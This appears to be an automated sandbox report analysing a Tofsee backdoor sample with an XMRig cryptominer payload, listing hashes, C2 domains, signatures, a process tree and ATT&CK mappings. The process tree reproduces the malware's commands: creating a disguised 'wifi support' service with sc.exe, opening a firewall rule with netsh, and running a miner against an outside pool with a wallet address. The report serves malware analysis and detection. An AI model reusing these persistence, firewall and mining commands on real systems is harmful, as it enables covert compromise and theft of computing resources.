Analysis

  • max time kernel
    146s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20-06-2022 04:59

General

  • Target

    0cc356b14c26e8c58fa30e510f34c80f99690f65dcd5e5e9510d6ab59e3040fc.exe

  • Size

    308KB

  • MD5

    94e93ecbe7ec7a6ef25b596098342274

  • SHA1

    fceb47b31c5dbfb528b31b94f32484833b9a5b6a

  • SHA256

    0cc356b14c26e8c58fa30e510f34c80f99690f65dcd5e5e9510d6ab59e3040fc

  • SHA512

    d4b1355e2f9c3f2f09124b111e633ed03f02dd0c09b696edf015c2cd5a37f369aa724c7f843080184a3670fc054e0eddcb11cfd81408ccbdbd0e4ef9f409af38

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0cc356b14c26e8c58fa30e510f34c80f99690f65dcd5e5e9510d6ab59e3040fc.exe
    "C:\Users\Admin\AppData\Local\Temp\0cc356b14c26e8c58fa30e510f34c80f99690f65dcd5e5e9510d6ab59e3040fc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3420
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zxymrhwv\
      2⤵
        PID:3884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\frtjvmby.exe" C:\Windows\SysWOW64\zxymrhwv\
        2⤵
          PID:652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zxymrhwv binPath= "C:\Windows\SysWOW64\zxymrhwv\frtjvmby.exe /d\"C:\Users\Admin\AppData\Local\Temp\0cc356b14c26e8c58fa30e510f34c80f99690f65dcd5e5e9510d6ab59e3040fc.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4244
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zxymrhwv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zxymrhwv
          2⤵
          • Launches sc.exe
          PID:4552
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:688
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3420 -s 656
          2⤵
          • Program crash
          PID:3908
      • C:\Windows\SysWOW64\zxymrhwv\frtjvmby.exe
        C:\Windows\SysWOW64\zxymrhwv\frtjvmby.exe /d"C:\Users\Admin\AppData\Local\Temp\0cc356b14c26e8c58fa30e510f34c80f99690f65dcd5e5e9510d6ab59e3040fc.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4580
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3852
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4580 -s 524
          2⤵
          • Program crash
          PID:5052
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3420 -ip 3420
        1⤵
          PID:4972
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4580 -ip 4580
          1⤵
            PID:1172

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\frtjvmby.exe
            Filesize

            10.9MB

            MD5

            a278304305f9f40260a18440d9815e77

            SHA1

            170de43258dfeb075040e1148df3c25d652d716c

            SHA256

            99fd4f2547fe0449a6dcefe4ad59dd6f3ba73c82ebaf75a669361a069520c870

            SHA512

            d2795af0ee3806bff2a9ed7fe45ac2c01bf88ac755629d603fcdc20ff5b56d5e5e29c79b3b7415414629e9a4f9b3a1fbc8353cc0197b9e90bcb10724f56aa59a

          • C:\Windows\SysWOW64\zxymrhwv\frtjvmby.exe
            Filesize

            10.9MB

            MD5

            a278304305f9f40260a18440d9815e77

            SHA1

            170de43258dfeb075040e1148df3c25d652d716c

            SHA256

            99fd4f2547fe0449a6dcefe4ad59dd6f3ba73c82ebaf75a669361a069520c870

            SHA512

            d2795af0ee3806bff2a9ed7fe45ac2c01bf88ac755629d603fcdc20ff5b56d5e5e29c79b3b7415414629e9a4f9b3a1fbc8353cc0197b9e90bcb10724f56aa59a

          • memory/652-134-0x0000000000000000-mapping.dmp
          • memory/688-140-0x0000000000000000-mapping.dmp
          • memory/1656-162-0x0000000000E60000-0x0000000000E65000-memory.dmp
            Filesize

            20KB

          • memory/1656-141-0x0000000000000000-mapping.dmp
          • memory/1656-165-0x0000000007600000-0x0000000007A0B000-memory.dmp
            Filesize

            4.0MB

          • memory/1656-149-0x00000000008E0000-0x00000000008F5000-memory.dmp
            Filesize

            84KB

          • memory/1656-152-0x00000000008E0000-0x00000000008F5000-memory.dmp
            Filesize

            84KB

          • memory/1656-168-0x0000000000E70000-0x0000000000E77000-memory.dmp
            Filesize

            28KB

          • memory/1656-153-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1656-156-0x0000000000E40000-0x0000000000E46000-memory.dmp
            Filesize

            24KB

          • memory/1656-142-0x00000000008E0000-0x00000000008F5000-memory.dmp
            Filesize

            84KB

          • memory/1656-159-0x0000000000E50000-0x0000000000E60000-memory.dmp
            Filesize

            64KB

          • memory/3420-133-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/3420-147-0x0000000002DDE000-0x0000000002DEC000-memory.dmp
            Filesize

            56KB

          • memory/3420-131-0x00000000049A0000-0x00000000049B3000-memory.dmp
            Filesize

            76KB

          • memory/3420-130-0x0000000002DDE000-0x0000000002DEC000-memory.dmp
            Filesize

            56KB

          • memory/3420-150-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/3800-137-0x0000000000000000-mapping.dmp
          • memory/3852-172-0x0000000000EE0000-0x0000000000FD1000-memory.dmp
            Filesize

            964KB

          • memory/3852-171-0x0000000000000000-mapping.dmp
          • memory/3852-177-0x0000000000EE0000-0x0000000000FD1000-memory.dmp
            Filesize

            964KB

          • memory/3884-132-0x0000000000000000-mapping.dmp
          • memory/4244-136-0x0000000000000000-mapping.dmp
          • memory/4552-138-0x0000000000000000-mapping.dmp
          • memory/4580-151-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/4580-148-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/4580-145-0x0000000002FB9000-0x0000000002FC7000-memory.dmp
            Filesize

            56KB

          • memory/4580-146-0x0000000002DB0000-0x0000000002DC3000-memory.dmp
            Filesize

            76KB